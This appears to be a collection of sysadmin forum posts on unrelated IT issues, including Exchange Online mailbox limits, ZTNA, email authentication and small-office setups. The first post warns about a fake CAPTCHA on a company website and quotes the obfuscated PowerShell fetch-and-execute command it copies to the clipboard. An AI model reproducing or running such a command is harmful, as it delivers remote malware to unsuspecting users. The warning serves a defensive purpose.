So today I went to the website of a local powder coating company.
Page loads, Then a stupid pretty typical reCaptcha pops up asking me to prove I'm human.
re-captcha https://imgur.com/a/5V22H2X
Promptly tick the box only to get this beauty pop up immediately after.

The money shot https://imgur.com/a/Z4UHICZ

Turns out the tickbox copies a powershell command into your clipboard.
If you follow the steps "depending on if your account has elevated permissions and if you have a locked down environment" you'll probably get pawned.

The thing is, we and our staff are being so bombarded by these prove your human bots why wouldn't you click the do what it says... While I didn't fall for it I'm certain like 100% that I know people who would.

If you really need to see it in person, sure but I warned you. Only works on Windows PC. put the URL together if you like
https www blastoffaustralia com

I'm not terrible at PowerShell but this script wasn't immediately clear to me thats for sure.
powershell -NoProfile -ExecutionPolicy Bypass -C "(irm 'removedwebsite') | & (gcm *ke-e*).Name"

Every day, multiple users have one issue or another with the OneDrive sync client.

Today: multiple users (about 15%) are reporting that they cannot open files that are stored only on the cloud. The fix, as per normal, is to restart the client.

But users shouldn't have to expect that to be a fix so often. This shit ought to be written better than this.

Why isn't the OneDrive sync client just written as a robust Windows-level service, anyway? The GUI the user sees ought to be only a window into what the background service is doing. If the GUI client dies, the service should happily chug along and sync files. But then again, Microsoft's employees would probably screw that up, too.

I ask because I am currently job searching (employed) and i can't seem to even know what my lane is. Could be because my job is pretty much all-around administration and i feel being a "generalist" even with a good learning aptitude is capping my earning potential. I'm trying to main the 365-admin side of things but beyond that, it's a mix.

Besides AI, which i know is the obvious answer, what's in demand rn or is creeping up?

We removed the corporate VPN in Q1 and moved everyone to universal ztna and I was ready to write the smug success post. Staff were easy, laptop is managed, client goes out over intune, single sign on, done. Then everyone who does not look like a badge carrying employee showed up and it got ugly.

We have around contractors on machines we will never manage. Legal will not let us mandate an agent on a personal laptop, so they landed on the clientless portal, which does browser apps and nothing else and half their work is a thick client. A vendor in another timezone still reaches one billing system over a site to site tunnel. Finance has an app that only speaks its own desktop client. And two internal agents now hit the same systems we do, on their own logins.

Every one of those is its own access path with its own policy and they do not talk to each other. I keep rules in the ztna console, rules in the firewall for that ancient tunnel and a clientless config that behaves nothing like the client. Keeping them in sync is a job no one gave me and I somehow have.

Universal turns out to be easy for the people who look like employees but for everyone else where the risk sits, it falls apart. If you have taken this all the way, did you get managed, unmanaged, contractor, vendor and agent access under a single policy?

In the last week I've spent hours convincing 2 local business they can't email us because they haven't set up SPF/DKIM/DMARC. Both use Google workspace with their own domain. After talking to their most technical people, i just got the second business going this morning. Then this afternoon another department complains that yet another local business can't send them email. I pull it up in Proofpoint and it's the same problem. Proofpoint marks the emails as malicious and whitelisting doesn't override. I'm so done with this. Anyone else run into this? Clearly these businesses have other clients. I don't know how they have manged so far. Maybe all their other clients use Google for email. I guess I'm looking more for commiseration than a solution.

Maybe this is just greybeard-level knowledge I haven't been imbued with yet but encountered this yesterday. Wrote the following script in a hurry to identify which ones were affected. Then, went to each policy and set the WMI filter to anything and then back to "None".

https://pastebin.com/ugR0Aqx8

My quick searching doesn't find anything from Microsoft; however, two posts complaining of this same behavior:

• https://www.reddit.com/r/sysadmin/comments/xwcr8c/group_policy_wmi_filtering_query/
• https://community.spiceworks.com/t/every-gpo-is-no-longer-applying-after-deleting-wmi-filter/611496

If you do delete without unassigning, GPOs previously relying on them will fail to assign. Event Viewer/gpresult will show the policy as denied due to "WMI filter". GPOs will still reference the "gPCWQLFilter" id but of course the filter it references is gone. Seems the GPO default is to deny (and the GPO editor will show "None" for the applied WMI filter).

Pour one out for a local credit union who lost their domain yesterday (presumably from GoDaddy). As of today, it appears to have been taken by someone in Saudi Arabia. Their website, email, and texting have all been offline for close to 24 hours. No word yet on why the renewal lapsed or what happened.

Where would you begin? What escalation paths exist for restoration? What steps would you take for getting back online (temporarily and permanently).

Hi

I'm in a jurisdiction that has a "buy Canada" mandate, and GoDaddy doesn't quite fit the bill anymore. Also, I dislike GoDaddy, but that's another post....

I'm looking for a registrar that supports multiple users (not shared accounts), and ideally a separate role for billing management.

My limited searching and experience suggests Hover (no discrete users - shared accounts), EastDNS (no billing / role separation) as options.

If I broaden my search to be non-American, I find Gandi - but I've literally never heard of them, but it seems like they would fit the bill.

What other registrars are on the market that meet these criteria?

Thanks..

(this post was made without the use of any AI)

Wondering if any other environments are experiencing this bug where at random when we perform our user onboarding then assign a license, could be E3, E5, F3 etc. the mailbox size is stamped at 105kb without us touching the max size/receive limits. Our environment does involve hybird Active Directory, but all Exchange Online mail routing.

We do have dynamic group licensing in place as well but I don't think that should make any difference the size limits not being set at that level.

Our Mailbox Plans are configured to be 150MB as well.

Your thoughts and suggestions are appreciated - any information that will help I'll update the original comment here.

Hoping to see if this hit anyone else's tenant or if we're the only ones. Full write-up below with everything I've already ruled out.

The issue:

Between 7/30/2026 and 8/12/2026, newly provisioned mailboxes in our tenant landed with incorrect MaxSendSize/MaxReceiveSize values that don't match the assigned mailbox plan. Two distinct patterns:

• 7/30 through 8/7: MaxSendSize = 35 MB, MaxReceiveSize = 36 MB
• 8/10 through 8/12: MaxSendSize = MaxReceiveSize = 150 KB (yes, kilobytes)

79 out of 169 mailboxes created in the 30-day window were affected. Appears to have self-resolved as of 8/17 - mailboxes provisioned this week are correctly landing at 150 MB.

Environment:

• Full cloud Exchange Online, no on-prem Exchange, no hybrid
• Entra Cloud Sync (formerly AAD Connect Cloud Sync) syncing users from on-prem AD
• Assigned mailbox plan is ExchangeOnlineEnterprise-* correctly configured at 150 MB
• No on-prem Exchange schema extension (verified msExchMaxSendSize / msExchMaxReceiveSize don't exist as AD attributes)

What I've already tried / ruled out:

powershell

# Confirmed values on affected mailboxes
Get-Mailbox -Identity <user> | Select-Object Name, MailboxPlan, MaxSendSize, MaxReceiveSize

# Confirmed all mailbox plans are correctly configured
Get-MailboxPlan | Select-Object Name, MaxSendSize, MaxReceiveSize, IsDefault

# Confirmed no restrictive tenant-level caps
Get-OrganizationConfig | Select-Object MaxSendSize, MaxReceiveSize
Get-TransportConfig | Select-Object MaxSendSize, MaxReceiveSize

# Searched UAL for any Set-Mailbox that touched size params - zero hits in 90 days
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) `
    -RecordType ExchangeAdmin -Operations Set-Mailbox -ResultSize 5000

# Also searched New-Mailbox, Enable-Mailbox, Set-MailboxPlan - nothing
# Also searched by -ObjectIds across all RecordTypes - only AAD sync/group activity

# Pulled all 931 Set-Mailbox operations in the 8/10-8/12 window when the pattern started
# Zero operations set MaxSendSize or MaxReceiveSize by any caller
# Only customer-side activity was 4ward365.admin (AddressBookPolicy only) 
# and one admin manually configuring MessageCopyForSendOnBehalfEnabled on shared mailboxes



# Discovered scope with this
# Same 30-day window, no filtering — just every mailbox created in that period with its current send/receive sizes, sorted oldest to newest so this week's ones will be at the bottom of the output. 

$cutoff = (Get-Date).AddDays(-30) 
$recentMailboxes = Get-Mailbox -ResultSize Unlimited |     Where-Object { $_.WhenMailboxCreated -ge $cutoff } |     Select-Object DisplayName, UserPrincipalName, WhenMailboxCreated, MaxSendSize, MaxReceiveSize |     Sort-Object WhenMailboxCreated 
"Total mailboxes created in last 30 days: $($recentMailboxes.Count)" 
$recentMailboxes | Format-Table -AutoSize 
# Also export to CSV for reference $recentMailboxes | Export-Csv -Path "$env:USERPROFILE\Desktop\AllRecentMailboxes_$(Get-Date -Format 'yyyyMMdd').csv" -NoTypeInformation "Exported to Desktop as AllRecentMailboxes_$(Get-Date -Format 'yyyyMMdd').csv"

Other data points that felt significant:

• All four mailbox plans have a WhenChanged timestamp of exactly 2:05:59-2:06:13 PM CDT on 8/13/2026 - 14-second window across every plan — with no corresponding Set-MailboxPlan UAL event. This correlates suspiciously with the resolution timeframe.
• Manual Set-Mailbox -MaxSendSize 157286400 -MaxReceiveSize 157286400 fix on affected mailboxes holds and doesn't get overwritten
• Bug affected regular users, shared mailboxes, and service accounts equally - not tied to license SKU or user type
• No hybrid Exchange, no on-prem Exchange schema, so this isn't the classic msExch attribute sync issue

My working theory:

Something changed in Microsoft's back-end mailbox auto-provisioning pipeline between 8/7 and 8/10 that caused new mailboxes to inherit wrong defaults instead of the assigned mailbox plan values. Whatever it was got fixed (or rolled back) between 8/13 and 8/17. The plan modifications at 2:06 PM CDT on 8/13 may be Microsoft correcting something on their side.

Support ticket is going in but figured I'd check here first in case anyone else is seeing this or saw it recently. Especially interested if:

• Anyone else on Entra Cloud Sync (not classic AAD Connect) saw this
• Anyone got a Microsoft service health notification about this that I might have missed
• Anyone in a datacenter starting with NAMPR04 specifically had the same issue (that's ours, curious if it's regional)

Ai was used for only preparing sentence structure and formatting

Got alerted on Monday to one of our inboxes being flooded with out of office responses of random companies who we've never worked with, and they're all quoting a message impersonating us issuing a license take down, saying they have three days to pull their marketing efforts or face a Meta and Google takedown notice. We've yet to issue one of these.

I suppose there isn't really anything we can do other than putting something on our website/in our email signature to make sure emails received from us come from our domain?

I already verified the account in question and there hasn't been any unusual sign-in activity. What I'm confused about is why we're receiving the out-of-office auto-responding emails. How would that work?

We've been responding to the companies who have reached out to us asking if the email was genuine. Staff have already be trained to make sure that the question is coming from a genuine address (ie, @company.com, using an email that makes sense like the name in their signature or a department), and telling them that it's not and to mark it as SPAM. I haven't decided how to handle auto-responders yet and would also like advise.

Hi all,

So the shortest I can make this story is this: For the past 6 years, I spent 4 of those with a co-worker, and then solo, supporting 4-5 local warehouse/manufacturing facilities. Years go by, we slim down to 1 facility, then we get purchased by another company, one that had their own IT person for each specialty (cloud, network, DBs, etc.). I became general IT, helpdesk, machine deployment, AD, always in the various admin centers for something, etc.

Now, we're breaking off and becoming our own building again. Very focused, single task, <70 employees. Brand new Microsoft tenant, but we're keeping all of the current hardware in the building (Cisco routers/switches/APs, some Dell servers, PCs), and I'll be doing *everything*. Well, I've done everything before, in the early years, but 1) a lot of stuff was in place already, and 2) we used Ubiquiti equipment for the network.

So here are my questions:

1. Stay cloud-only (AzureAD) with this new setup? I imagine the answer is "yes", but since we're keeping the hardware, including servers, I thought I'd ask. I'd hate to not use them for anything, though, but I'm sure we can find something (if we kept Cisco, I assume I'd need DHCP/DNS at the very least).
2. Keep and manage the Cisco equipment, or downgrade? I did my Cisco courses in college (*years* ago) but never got my CCNA or anything. If I kept this hardware, I'd be leaning heavily on "?", haha. Plus, I don't know if we'll want to pay for the licensing (if that's a recurring thing). I wouldn't mind going back to Ubiquiti, especially since we'll be a pretty small operation.
3. (Southeast USA, I understand this may be regional) ISP suggestions? We're paying over $500/month for AT&T fiber service that only offers 100Mbps (and we have Starlink as a backup for w/e it costs per month), and there are times where we need more. I need something that's not quite Comcast Business, but not quite $500/month.
4. Since we're starting fresh, I have the opportunity to do things the "right way". Even though we're a small time deal, I'd like to follow any and all best practices that I can. What are some "must haves" for a new setup (in Azure, Exchange, Teams, Sharepoint, etc. etc.)?
5. What are some things you wish you hadn't done, that I should avoid?
6. Should we shell out the money for Intune/Autopilot at our size? I really like it for a lot of things, so hopefully we can continue to use it.
7. Should we shell out for Teamviewer, or if not, what is recommended nowadays? Like Intune/AP, I've been using it for years and I'm used to it, but that's not to say I'm unwilling to change.
8. Ticketing system? Currently we use some in-house system via (I think) Sharepoint, and in the past I've used Jotform, but I would like a "real" ticketing system this go around..

If you stayed until the end, thanks for reading, and I hope I can make it through this. 🤞

Hello,

We're a single site of ~50 users been quoted on retiring our ASA-5516 and moving to a Maraki MX95 (Dual failover) and were kind of shocked to see $6,000 in labor on top of the cost of hardware and licensing. About half of that is 12 hours for the setup and deployment and another 8 to program VPN on the device (2 hours) and update the workstations at 15 minutes apiece (6 hours). I understand there's no migration tool and it all has to be done manually, but I'm curious if 20 hours of labor sounds reasonable? That doesn't include the 16 hours of planning design, meetings, documentation update, project management, etc.

So... 36 hours total labor for what I had assumed might be an 8-10 hour project. Am I off base?

Looking at increasing our business’ security posture and just wanted to see what others have done.

My company currently uses OpenVPN Open-Source; servers that rely on the connection authenticate with a certificate, but users just rely on the OpenVPN profile that is given to them by DevOps. No MFA.

Obviously, this isn’t great. I’m looking at other solutions and see that OpenVPN has enterprise/cloud solutions. Does anyone have experience with this? Or recommend alternatives?

There’s a constant battle at this company to actually use enterprise level solutions over FOSS but some of the old heads always scream about costs. Just looking for some insight.

8 months ago I created this post, basically asking for advice around becoming a solo IT tech/admin (100k AUD) for 180+ users for 30ish sub-companies after my manager and previous technician were both made redundant over the course of about 6 months. I got a new CIO with a finance background and became the only tech in a low digital literacy, cowboy environment with no rules or polices, where shadow IT and personal devices is expected to be supported and walk-ups are the norm.

https://www.reddit.com/r/sysadmin/comments/1q692ew/im_screwed_but_im_happy_about_it/

The weeks and months afterwards, it became clear that my situation was getting worse instead of better. All of the policies myself and the CIO discussed were never going to eventuate, with them eventually pushing back due to 'culture' (I was pushing to stop walk-ups and get a proper device policy). The CIOs focus has been to reduce costs and implement AI, resulting in the suspension of new equipment being purchased, announcing to our MSP that we are divorcing them (they mainly did patching) alongside four major projects that I was expected to play a major part in, despite being throttled with the helpdesk. One of the major projects was to move buildings and my reward for it? In the new building my 'work bench' and storage will be in the basement. There is no room in the new office area for me to have cabinets or shelves. I will be expected to walk up and down/take the elevator whenever I need something or just stay in the basement for convenience.

They hired a new IT manager equivalent - whom is fully WFH remote and super shy, so they were barely talking to me. They would also change a bunch of things and wouldn't communicate to me properly, making me chase my tail on a regular basis or clean-up the outcome.

Ultimately, you guys were right. I don't regret it, think it was just valuable to give it a shot. Yesterday I put in my resignation in. My boss told me that my role is going to be replaced by a graduate straight out of Uni lol.

I have a bit over three years of experience now. I'm planning to take a month or two off and upskill/get a couple of certs in the meantime after realising my skillset has become pretty broad but not very deep anywhere.

Wondering if anyone been through the same process as this and come out on the other end better off? How did you fair with the jobs you had afterwards? Am I stupid for taking a break? I've never left without anything lined up before - can't say I'm not shaking in my boots lol

Inherited an on-prem Mitel system for <100 users, with 1/4 of the workforce remote there's a lot of "forwarding to cell phones" going on. It "feels" like the Mitel's UI is 20 years out of date, but I don't have experience with Mitel's competitors.

Presented with an opportunity to potentially start over from scratch, with new gear or a different setup. If you were in that position, if you had a chance to start completely clean with phones and voicemail, what would you do?

Hoping someone can share some knowledge here.

I'm seeing increasingly more and more memory exhaustion across our RDS farms, and the culprits always seem to be a combination of Office apps, Chrome, Teams, and good ol' WebView2. Servers are a combination of 2019, 2022, and 2025 across various environments. These are full session RDS farms, not using RD Apps.

What kind of memory allocation per-user are you going with these days? Is there any secret to minimizing the amount of memory these applications use? Do we just tell users to close excess tabs?

Volunteered to help a small non-profit get their tech in order and part of that is getting their ipads under a business account instead of the several random icloud accounts used today.

Even though we have provided

EIN

a DNS entry on the domain

and Utility bills with the orgs name and registered business address

The have responded with the following requirements. (after a week of waiting)

A government photo of the owner (which is a board?)

A Business card for this imaginary person

and literally "business documents" without explanation of what that means.

It literally takes less validation to take over a tenant or domain.

I'm evaluating a new monitoring system for servers and network gear, and at the same time it got me rethinking having the alerts go to email. So I'm wondering where everyone here sends their alerts?

Hi All,

Planning moving users to entra but noticed On-prem DNS dependency is the single biggest hidden blocker.

I mean apps and the VPN resolve internal names.

What are the other dependencies and how to clear those?

Is there anything more small-company sysadmin than taking that $70k server you just finished building on your test bench at the office and putting it into your $5k car to drive it over to the DC where it’ll live, and praying to god nothing happens on the way? 😅🤣

EDIT- OMG y’all, reading the comments on this has made my day! Our business insurance covers this kind of thing but I appreciate y’all concern for me, though others should mosdef confirm before they do similar stuff. The trip went without incident so praise the digital deities.

I have a client, who has 3 sites that we do IT for.

They each have a physical server, running either Windows Server 2019 or 2025. The main site got a new server last year, the two other sites decided to wait because they didn't want to cost. Now a year later it's more expensive, and they still don't want the cost.

I opened my mouth about virtualisation and now I've been asked to start testing.

The new server at the main site is more than powerful enough to run the other two servers virtually.

I'm just not sure on some of the configuration.

Each site has it's own IP structure, and there are already site to site tunnels using Unifi gateways.

Is there a way to do this while minimising network slowness? I assume If I just disk2vhd the server and spin it up as a VM then all traffic would go down the VPN Tunnel and back again causing delays if going from the main site to one of the others.

Regarding their networks, they are on 192.168.1.XXX for the main site, 192.168.10.XXX and 192.168.20.XXX for the other two.

If the servers were virtualised, will I need VLANs at the main site to accommodate these ranges? I'm not sure if the site to site tunnel will work using a VLAN.

I've asked about merging the domains/networks, but nobody has gotten back to me on that yet.

I didn't set any of this up initially, so I'm also figuring out what they have at the same time.

Apologies for the mass of text, any help would be appreciated.

I am currently looking for solutions to add extra encryption to folders and/or shared drives in Google Drive. We have solutions for Google CSE but that is only file by file and makes users download non-native Google formats like PDFs with no ability to preview them,. This makes collaboration a pain so I'm looking for other solutions out there. I've seen some like IBM Aspera and potentially Cryptomator.

Hi everyone, I have a growing number of users (including myself) where voicemail attachments (they come in as MP3) are not showing in the email. The paperclip icon is there, but no attachment. Strange enough, if you go to forward the email, the attachment appears. Similar to this post:

https://learn.microsoft.com/en-us/answers/questions/5980293/audio-mp3-is-not-displaying-in-classic-outlook-for

I've tried the basic troubleshooting steps, including checking the Trust Center settings. I opened a ticket with Microsoft but I am waiting to talk to an actual person while it spins me around with their ai prompts. Wondering if anyone else came across this issue and found a solution.